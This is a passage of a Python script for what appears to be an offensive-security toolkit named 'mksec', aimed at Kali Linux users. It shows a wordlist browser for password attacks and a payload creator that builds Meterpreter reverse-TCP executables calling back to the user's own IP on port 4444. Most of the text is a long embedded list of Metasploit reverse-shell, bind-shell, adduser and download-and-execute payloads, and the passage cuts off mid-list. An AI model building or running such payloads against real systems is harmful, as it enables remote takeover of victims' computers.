Files\x1b[31m*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\x1b[37m\n\n\x1b[0m\x1b[2m") os.system("locate wordlist") print("\x1b[1m\n\n\x1b[31m*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\x1b[33mWordlist Directories\x1b[31m*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\x1b[37m\n\n\x1b[0m\x1b[2m") os.system("cd /usr/share/wordlists && ls -l") print("\x1b[1m") r = input('Press "q" to exit\n\n\x1b[1m\033[36m[mksec]\033[36m[wordlist]\033[37m\x1b[0m ') if r == "q": os.system("clear") passwordAttacks() else: while 1: print("\x1b[1m\x1b[36mEN:\x1b[31mOnly for those using the kali linux operating system.\n\x1b[36mTR:\x1b[31mSadece kali linux işletim sistemini kullananlar için.") uinput = input("\x1b[1m\033[36m[mksec]\033[36m[wordlist]\033[37m\x1b[0m ") UserInputs(uinput+"pass") def PayloadCreatorAndListener(): def PayloadCreater(): payload = " windows/meterpreter/reverse_tcp " host = " <IP> " port = " 4444 " format = " exe " output = " " youriface = os.popen('ip addr').read().split("2:")[1].split(":")[0] ipv4 = os.popen('ip addr show {}'.format(youriface)).read().split("inet ")[1].split("/")[0] while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[payload_creator]\033[37m\x1b[0m ") UserInputs(uinput+"exp") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mIt is a payload creator. \x1b[36m'run'\x1b[37m command does not work, try with \x1b[36m'run -f'\x1b[37m (-f : --force). \n\x1b[33mTR:\x1b[37mBir payload üretme aracıdır. \x1b[36m'run'\x1b[37m komutu çalışmazsa \x1b[36m'run -f'\x1b[37m (-f : --force) ile deneyiniz.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nPAYLOAD{} YES Type '--list payloads' or '-lp' to see payloads \x1b[32mDefault: windows/meterpreter/reverse_tcp\x1b[37m\nLHOST {} YES Your IP address = \x1b[32m{}\x1b[37m\nLPORT {} YES Type in port \x1b[32mDefault = 4444\x1b[37m\nFORMAT {} YES Specify the payload format \x1b[32mDefault = exe\x1b[37m\nOUTPUT {} YES Output \x1b[32mex: /root/Desktop/mksec.exe\x1b[37m".format(payload,host,ipv4,port,format,output)) elif "set payload" in uinput.lower(): payload = uinput payload = payload.replace("set payload ","").replace("set PAYLOAD ","").replace("SET payload ","").replace("SET PAYLOAD ","").center(50) elif "set lhost" in uinput.lower(): host = uinput host = host.replace("set lhost ","").replace("set LHOST ","").replace("SET lhost ","").replace("SET LHOST ","").center(50) elif "set port" in uinput.lower(): port = uinput port = port.replace("set lport ","").replace("set LPORT ","").replace("SET lport ","").replace("SET LPORT ","").center(50) elif "set format" in uinput.lower(): format = uinput format = format.replace("set format ","").replace("set FORMAT ","").replace("SET format ","").replace("SET FORMAT ","").center(50).lower() elif "set output" in uinput.lower(): output = uinput output = output.replace("set output ","").replace("set OUTPUT ","").replace("SET output ","").replace("SET OUTPUT ","").center(50) elif "--list payload" in uinput.lower() or "-lp" == uinput.lower(): print("""\x1b[1m\x1b[33mFramework Payloads (592 total)\x1b[37m\n\x1b[33m==================================================\x1b[37m\n\n\x1b[33mName\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m----\x1b[37m \x1b[33m-----------\x1b[37m\naix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell\naix/ppc/shell_find_port Spawn a shell on an established connection\naix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)\naix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell\nandroid/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP\nandroid/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS\nandroid/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager\nandroid/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell\nandroid/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell\nandroid/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell\nandroid/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP\nandroid/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HTTPS\nandroid/shell/reverse_tcp Spawn a piped command shell (sh). Connect back stager\napple_ios/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\napple_ios/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\napple_ios/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\napple_ios/aarch64/shell_reverse_tcp Connect back to attacker and spawn a command shell\napple_ios/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\napple_ios/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\napple_ios/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nbsd/sparc/shell_bind_tcp Listen for a connection and spawn a command shell\nbsd/sparc/shell_reverse_tcp Connect back to attacker and spawn a command shell\nbsd/vax/shell_reverse_tcp Connect back to attacker and spawn a command shell\nbsd/x64/exec Execute an arbitrary command\nbsd/x64/shell_bind_ipv6_tcp Listen for a connection and spawn a command shell over IPv6\nbsd/x64/shell_bind_tcp Bind an arbitrary command to an arbitrary port\nbsd/x64/shell_bind_tcp_small Listen for a connection and spawn a command shell\nbsd/x64/shell_reverse_ipv6_tcp Connect back to attacker and spawn a command shell over IPv6\nbsd/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell\nbsd/x64/shell_reverse_tcp_small Connect back to attacker and spawn a command shell\nbsd/x86/exec Execute an arbitrary command\nbsd/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service\nbsd/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service\nbsd/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for a connection over IPv6\nbsd/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection\nbsd/x86/shell/find_tag Spawn a command shell (staged). Use an established connection\nbsd/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to the attacker over IPv6\nbsd/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nbsd/x86/shell_bind_tcp Listen for a connection and spawn a command shell\nbsd/x86/shell_bind_tcp_ipv6 Listen for a connection and spawn a command shell over IPv6\nbsd/x86/shell_find_port Spawn a shell on an established connection\nbsd/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)\nbsd/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell\nbsd/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6\nbsdi/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection\nbsdi/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nbsdi/x86/shell_bind_tcp Listen for a connection and spawn a command shell\nbsdi/x86/shell_find_port Spawn a shell on an established connection\nbsdi/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell\ncmd/mainframe/apf_privesc_jcl (Elevate privileges for user. Adds SYSTEM SPECIAL and BPX.SUPERUSER to user profile. Does this by using an unsecured/updateable APF authorized library (APFLIB) and updating the user's ACEE using this program/library. Note: This privesc only works with z/OS systems using RACF, no other ESM is supported.)\ncmd/mainframe/bind_shell_jcl Provide JCL which creates a bind shell This implmentation does not include ebcdic character translation, so a client with translation capabilities is required. MSF handles this automatically.\ncmd/mainframe/generic_jcl Provide JCL which can be used to submit a job to JES2 on z/OS which will exit and return 0. This can be used as a template for other JCL based payloads\ncmd/mainframe/reverse_shell_jcl Provide JCL which creates a reverse shell This implementation does not include ebcdic character translation, so a client with translation capabilities is required. MSF handles this automatically.\ncmd/unix/bind_awk Listen for a connection and spawn a command shell via GNU AWKcmd/unix/bind_busybox_telnetd Listen for a connection and spawn a command shell via BusyBox telnetdcmd/unix/bind_inetd Listen for a connection and spawn a command shell (persistent)cmd/unix/bind_jjs Listen for a connection and spawn a command shell via jjs\ncmd/unix/bind_lua Listen for a connection and spawn a command shell via Lua\ncmd/unix/bind_netcat Listen for a connection and spawn a command shell via netcat\ncmd/unix/bind_netcat_gaping Listen for a connection and spawn a command shell via netcat\ncmd/unix/bind_netcat_gaping_ipv6 Listen for a connection and spawn a command shell via netcat\ncmd/unix/bind_nodejs Continually listen for a connection and spawn a command shell via nodejs\ncmd/unix/bind_perl Listen for a connection and spawn a command shell via perl\ncmd/unix/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl\ncmd/unix/bind_r Continually listen for a connection and spawn a command shell via R\ncmd/unix/bind_ruby Continually listen for a connection and spawn a command shell via Ruby\ncmd/unix/bind_ruby_ipv6 Continually listen for a connection and spawn a command shell via Ruby\ncmd/unix/bind_socat_udp Creates an interactive shell via socat\ncmd/unix/bind_stub Listen for a connection and spawn a command shell (stub only, no payload)\ncmd/unix/bind_zsh Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.\ncmd/unix/generic Executes the supplied command\ncmd/unix/interact Interacts with a shell on an established socket connection\ncmd/unix/pingback_bind Accept a connection, send a UUID, then exit\ncmd/unix/pingback_reverse Creates a socket, send a UUID, then exit\ncmd/unix/reverse Creates an interactive shell through two inbound connections\ncmd/unix/reverse_awk Creates an interactive shell via GNU AWK\ncmd/unix/reverse_bash Creates an interactive shell via bash's builtin /dev/tcp. This will not work on circa 2009 and older Debian-based Linux distributions (including Ubuntu) because they compile bashwithout the /dev/tcp feature.\ncmd/unix/reverse_bash_telnet_ssl Creates an interactive shell via mkfifo and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL.\ncmd/unix/reverse_bash_udp Creates an interactive shell via bash's builtin /dev/udp. This will not work on circa 2009 and older Debian-based Linux distributions (including Ubuntu) because they compile bashwithout the /dev/udp feature.\ncmd/unix/reverse_jjs Connect back and create a command shell via jjs\ncmd/unix/reverse_ksh Connect back and create a command shell via Ksh. Note: Although Ksh is often available, please be aware it isn't usually installed by default.\ncmd/unix/reverse_lua Creates an interactive shell via Lua\ncmd/unix/reverse_ncat_ssl Creates an interactive shell via ncat, utilizing ssl mode\ncmd/unix/reverse_netcat Creates an interactive shell via netcat\ncmd/unix/reverse_netcat_gaping Creates an interactive shell via netcat\ncmd/unix/reverse_nodejs Continually listen for a connection and spawn a command shell via nodejs\ncmd/unix/reverse_openssl Creates an interactive shell through two inbound connections\ncmd/unix/reverse_perl Creates an interactive shell via perl\ncmd/unix/reverse_perl_ssl Creates an interactive shell via perl, uses SSL\ncmd/unix/reverse_php_ssl Creates an interactive shell via php, uses SSL\ncmd/unix/reverse_python Connect back and create a command shell via Python\ncmd/unix/reverse_python_ssl Creates an interactive shell via python, uses SSL, encodes with base64 by design.\ncmd/unix/reverse_r Connect back and create a command shell via R\ncmd/unix/reverse_ruby Connect back and create a command shell via Ruby\ncmd/unix/reverse_ruby_ssl Connect back and create a command shell via Ruby, uses SSL\ncmd/unix/reverse_socat_udp Creates an interactive shell via socat\ncmd/unix/reverse_ssh Connect back and create a command shell via SSH\ncmd/unix/reverse_ssl_double_telnet Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option\ncmd/unix/reverse_stub Creates an interactive shell through an inbound connection (stub only, no payload)\ncmd/unix/reverse_tclsh Creates an interactive shell via Tclsh\ncmd/unix/reverse_zsh Connect back and create a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.\ncmd/windows/adduser Create a new user and add them to local administration group. Note: The specified password is checked for common complexity requirements to prevent the target machine rejecting the user for failing to meet policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)\ncmd/windows/bind_lua Listen for a connection and spawn a command shell via Lua\ncmd/windows/bind_perl Listen for a connection and spawn a command shell via perl (persistent)\ncmd/windows/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl (persistent)\ncmd/windows/bind_ruby Continually listen for a connection and spawn a command shell via Ruby\ncmd/windows/download_eval_vbs Downloads a file from an HTTP(S) URL and executes it as a vbs script. Use it to stage a vbs encoded payload from a short command line.\ncmd/windows/download_exec_vbs Download an EXE from an HTTP(S) URL and execute it\ncmd/windows/generic Executes the supplied command\ncmd/windows/powershell_bind_tcp Interacts with a powershell session on an established socket connection\ncmd/windows/powershell_reverse_tcp Interacts with a powershell session on an established socket connection\ncmd/windows/reverse_lua Creates an interactive shell via Lua\ncmd/windows/reverse_perl Creates an interactive shell via perl\ncmd/windows/reverse_powershell Connect back and create a command shell via Powershell\ncmd/windows/reverse_ruby Connect back and create a command shell via Ruby\nfirefox/exec This module runs a shell command on the target OS without touching the disk. On Windows, this command will flash the command prompt momentarily. This can be avoided by setting WSCRIPT to true, which drops a jscript "launcher" to disk that hides the prompt.\nfirefox/shell_bind_tcp Creates an interactive shell via Javascript with access to Firefox's XPCOM API\nfirefox/shell_reverse_tcp Creates an interactive shell via Javascript with access to Firefox's XPCOM API\ngeneric/custom Use custom string or file as payload. Set either PAYLOADFILE or PAYLOADSTR.\ngeneric/debug_trap Generate a debug trap in the target process\ngeneric/shell_bind_tcp Listen for a connection and spawn a command shell\ngeneric/shell_reverse_tcp Connect back to attacker and spawn a command shell\ngeneric/tight_loop Generate a tight loop in the target process\njava/jsp_shell_bind_tcp Listen for a connection and spawn a command shell\njava/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell\njava/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection\njava/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP\njava/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS\njava/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager\njava/shell/bind_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Listen for a connection\njava/shell/reverse_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Connect back stager\njava/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/aarch64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker\nlinux/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/aarch64/shell/reverse_tcp dup2 socket in x12, then execve. Connect back to the attacker\nlinux/aarch64/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/armbe/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/armbe/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/armbe/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/armbe/shell_bind_tcp Listen for a connection and spawn a command shell\nlinux/armle/adduser Create a new user with UID 0\nlinux/armle/exec Execute an arbitrary command\nlinux/armle/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection\nlinux/armle/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker\nlinux/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/armle/shell/bind_tcp dup2 socket in r12, then execve. Listen for a connection\nlinux/armle/shell/reverse_tcp dup2 socket in r12, then execve. Connect back to the attacker\nlinux/armle/shell_bind_tcp Connect to target and spawn a command shell\nlinux/armle/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/mips64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/mips64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/mips64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/mipsbe/exec A very small shellcode for executing commands. This module is sometimes helpful for testing purposes.\nlinux/mipsbe/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker\nlinux/mipsbe/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/mipsbe/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/mipsbe/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/mipsbe/reboot A very small shellcode for rebooting the system. This payload is sometimes helpful for testing purposes or executing other payloads that rely on initial startup procedures.\nlinux/mipsbe/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nlinux/mipsbe/shell_bind_tcp Listen for a connection and spawn a command shell\nlinux/mipsbe/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/mipsle/exec A very small shellcode for executing commands. This module is sometimes helpful for testing purposes as well as on targets with extremely limited buffer space.\nlinux/mipsle/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker\nlinux/mipsle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/mipsle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/mipsle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/mipsle/reboot A very small shellcode for rebooting the system. This payload is sometimes helpful for testing purposes.\nlinux/mipsle/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nlinux/mipsle/shell_bind_tcp Listen for a connection and spawn a command shell\nlinux/mipsle/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/ppc/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/ppc/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/ppc/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/ppc/shell_bind_tcp Listen for a connection and spawn a command shell\nlinux/ppc/shell_find_port Spawn a shell on an established connection\nlinux/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/ppc64/shell_bind_tcp Listen for a connection and spawn a command shell\nlinux/ppc64/shell_find_port Spawn a shell on an established connection\nlinux/ppc64/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/ppc64le/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/ppc64le/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/ppc64le/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/ppce500v2/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/ppce500v2/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/ppce500v2/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/x64/exec Execute an arbitrary command or just a /bin/sh shell\nlinux/x64/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection\nlinux/x64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker\nlinux/x64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/x64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/x64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/x64/pingback_bind_tcp Accept a connection from attacker and report UUID (Linux x64)\nlinux/x64/pingback_reverse_tcp Connect back to attacker and report UUID (Linux x64)\nlinux/x64/shell/bind_tcp Spawn a command shell (staged). Listen for a connection\nlinux/x64/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nlinux/x64/shell_bind_ipv6_tcp Listen for an IPv6 connection and spawn a command shell\nlinux/x64/shell_bind_tcp Listen for a connection and spawn a command shell\nlinux/x64/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.\nlinux/x64/shell_find_port Spawn a shell on an established connection\nlinux/x64/shell_reverse_ipv6_tcp Connect back to attacker and spawn a command shell over IPv6\nlinux/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/x86/adduser Create a new user with UID 0\nlinux/x86/chmod Runs chmod on specified file with specified mode\nlinux/x86/exec Execute an arbitrary command or just a /bin/sh shell\nlinux/x86/meterpreter/bind_ipv6_tcp Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86)\nlinux/x86/meterpreter/bind_ipv6_tcp_uuid Inject the mettle server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)\nlinux/x86/meterpreter/bind_nonx_tcp Inject the mettle server payload (staged). Listen for a connection\nlinux/x86/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection (Linux x86)\nlinux/x86/meterpreter/bind_tcp_uuid Inject the mettle server payload (staged). Listen for a connection with UUID Support (Linux x86)\nlinux/x86/meterpreter/find_tag Inject the mettle server payload (staged). Use an established connection\nlinux/x86/meterpreter/reverse_ipv6_tcp Inject the mettle server payload (staged). Connect back to attacker over IPv6\nlinux/x86/meterpreter/reverse_nonx_tcp Inject the mettle server payload (staged). Connect back to the attacker\nlinux/x86/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker\nlinux/x86/meterpreter/reverse_tcp_uuid Inject the mettle server payload (staged). Connect back to the attacker\nlinux/x86/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/x86/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/x86/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service\nlinux/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service\nlinux/x86/read_file Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor\nlinux/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86)\nlinux/x86/shell/bind_ipv6_tcp_uuid Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86)\nlinux/x86/shell/bind_nonx_tcp Spawn a command shell (staged). Listen for a connection\nlinux/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection (Linux x86)\nlinux/x86/shell/bind_tcp_uuid Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)\nlinux/x86/shell/find_tag Spawn a command shell (staged). Use an established connection\nlinux/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to attacker over IPv6\nlinux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker\nlinux/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nlinux/x86/shell/reverse_tcp_uuid Spawn a command shell (staged). Connect back to the attacker\nlinux/x86/shell_bind_ipv6_tcp Listen for a connection over IPv6 and spawn a command shell\nlinux/x86/shell_bind_tcp Listen for a connection and spawn a command shell\nlinux/x86/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.\nlinux/x86/shell_find_port Spawn a shell on an established connection\nlinux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)\nlinux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6\nlinux/zarch/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/zarch/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/zarch/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nmainframe/shell_reverse_tcp Listen for a connection and spawn a command shell. This implementation does not include ebcdic character translation, so a client with translation capabilities is required. MSF handles this automatically.\nmulti/meterpreter/reverse_http Handle Meterpreter sessions regardless of the target arch/platform. Tunnel communication over HTTP\nmulti/meterpreter/reverse_https Handle Meterpreter sessions regardless of the target arch/platform. Tunnel communication over HTTPS\nnetware/shell/reverse_tcp Connect to the NetWare console (staged). Connect back to the attacker\nnodejs/shell_bind_tcp Creates an interactive shell via nodejs\nnodejs/shell_reverse_tcp Creates an interactive shell via nodejs\nnodejs/shell_reverse_tcp_ssl Creates an interactive shell via nodejs, uses SSL\nosx/armle/execute/bind_tcp Spawn a command shell (staged). Listen for a connection\nosx/armle/execute/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nosx/armle/shell/bind_tcp Spawn a command shell (staged). Listen for a connection\nosx/armle/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nosx/armle/shell_bind_tcp Listen for a connection and spawn a command shell\nosx/armle/shell_reverse_tcp Connect back to attacker and spawn a command shell\nosx/armle/vibrate Causes the iPhone to vibrate, only works when the AudioToolkit library has been loaded. Based on work by Charlie Miller <cmiller[at]securityevaluators.com>.\nosx/ppc/shell/bind_tcp Spawn a command shell (staged). Listen for a connection\nosx/ppc/shell/find_tag Spawn a command shell (staged). Use an established connection\nosx/ppc/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nosx/ppc/shell_bind_tcp Listen for a connection and spawn a command shell\nosx/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell\nosx/x64/dupandexecve/bind_tcp dup2 socket in edi, then execve. Listen, read length, read buffer, execute\nosx/x64/dupandexecve/reverse_tcp dup2 socket in edi, then execve. Connect, read length, read buffer, execute\nosx/x64/dupandexecve/reverse_tcp_uuid dup2 socket in edi, then execve. Connect back to the attacker with UUID Support (OSX x64)\nosx/x64/exec Execute an arbitrary command\nosx/x64/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen, read length, read buffer, execute\nosx/x64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect, read length, read buffer, execute\nosx/x64/meterpreter/reverse_tcp_uuid Inject the mettle server payload (staged). Connect back to the attacker with UUID Support (OSX x64)\nosx/x64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nosx/x64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nosx/x64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nosx/x64/say Say an arbitrary string outloud using Mac OS X text2speech\nosx/x64/shell_bind_tcp Bind an arbitrary command to an arbitrary port\nosx/x64/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)\nosx/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell\nosx/x86/bundleinject/bind_tcp Inject a custom Mach-O bundle into the exploited process. Listen, read length, read buffer, execute\nosx/x86/bundleinject/reverse_tcp Inject a custom Mach-O bundle into the exploited process. Connect, read length, read buffer, execute\nosx/x86/exec Execute an arbitrary command\nosx/x86/isight/bind_tcp Inject a Mach-O bundle to capture a photo from the iSight (staged). Listen, read length, read buffer, execute\nosx/x86/isight/reverse_tcp Inject a Mach-O bundle to capture a photo from the iSight (staged). Connect, read length, read buffer, execute\nosx/x86/shell_bind_tcp Listen for a connection and spawn a command shell\nosx/x86/shell_find_port Spawn a shell on an established connection\nosx/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell\nosx/x86/vforkshell/bind_tcp Call vfork() if necessary and spawn a command shell (staged). Listen, read length, read buffer, execute\nosx/x86/vforkshell/reverse_tcp Call vfork() if necessary and spawn a command shell (staged). Connect, read length, read buffer, execute\nosx/x86/vforkshell_bind_tcp Listen for a connection, vfork if necessary, and spawn a command shell\nosx/x86/vforkshell_reverse_tcp Connect back to attacker, vfork if necessary, and spawn a command shell\nphp/bind_perl Listen for a connection and spawn a command shell via perl (persistent)\nphp/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl (persistent) over IPv6\nphp/bind_php Listen for a connection and spawn a command shell via php\nphp/bind_php_ipv6 Listen for a connection and spawn a command shell via php (IPv6)\nphp/download_exec Download an EXE from an HTTP URL and execute it\nphp/exec Execute a single system command\nphp/meterpreter/bind_tcp Run a meterpreter server in PHP. Listen for a connection\nphp/meterpreter/bind_tcp_ipv6 Run a meterpreter server in PHP. Listen for a connection over IPv6\nphp/meterpreter/bind_tcp_ipv6_uuid Run a meterpreter server in PHP. Listen for a connection over IPv6 with UUID Support\nphp/meterpreter/bind_tcp_uuid Run a meterpreter server in PHP. Listen for a connection with UUID Support\nphp/meterpreter/reverse_tcp Run a meterpreter server in PHP. Reverse PHP connect back stager with checks for disabled functions\nphp/meterpreter/reverse_tcp_uuid Run a meterpreter server in PHP. Reverse PHP connect back stager with checks for disabled functions\nphp/meterpreter_reverse_tcp Connect back to attacker and spawn a Meterpreter server (PHP)\nphp/reverse_perl Creates an interactive shell via perl\nphp/reverse_php Reverse PHP connect back shell with checks for disabled functions\nphp/shell_findsock Spawn a shell on the established connection to the webserver. Unfortunately, this payload can leave conspicuous evil-looking entries in the apache error logs, so it is probably agood idea to use a bind or reverse shell unless firewalls prevent them from working. The issue this payload takes advantage of (CLOEXEC flag not set on sockets) appears to have been patched on the Ubuntu version of Apache and may not work on other Debian-based distributions. Only tested on Apache but it might work on other web servers that leak file descriptors to child processes.\npython/meterpreter/bind_tcp Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Listen for a connection\npython/meterpreter/bind_tcp_uuid Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Listen for a connection with UUID Support\npython/meterpreter/reverse_http Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Tunnel communication over HTTP\npython/meterpreter/reverse_https Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Tunnel communication over HTTP using 